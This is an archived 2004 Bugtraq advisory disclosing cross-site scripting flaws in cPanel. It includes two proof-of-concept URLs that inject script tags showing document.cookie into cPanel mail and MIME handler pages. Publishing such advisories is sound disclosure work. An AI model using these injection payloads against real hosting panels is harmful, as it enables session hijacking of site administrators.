Bugtraq mailing list archives

More Cpanel Vuls (cross site scripting)

From: Fable <fable () hush com>
Date: 23 Mar 2004 17:39:07 -0000



##################################################
##Advisory Name: More Cpanel Vuls (cross site scripting)
#Discovered by: Fable 
#Greets: 0x29A Crew, !AM Crew, Atomix, d3thstar, mgrd, rootthief.com. 
#Version Tested On: cPanel Build 9.1.0-STABLE 93
##Most likely effects more
##################################################

############
#Description
############        

cPanel & WebHost Manager (WHM) is a next generation web hosting control 
panel system. Both cPanel & WHM are extremely feature rich as well as 
include an easy to use web based interface.

##############
#Vulnerability
##############

After some looking into, I found out that cPanel uses little or no html filters
in their product. It's very simple to inject html in multiple areas in cpanel. 
I'll list the ones I've found so far.


http://site.com:2082/frontend/x/mail/dodelautores.html?email=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://site.com:2082/frontend/x/mime/addhandle.html?ext=phpz&handle=&lt;script&gt;alert(document.cookie&lt;/script&gt;

Note: Those should appear as < script > and < /script > with out the spaces of course.

Current thread:

More Cpanel Vuls (cross site scripting) Fable (Mar 23)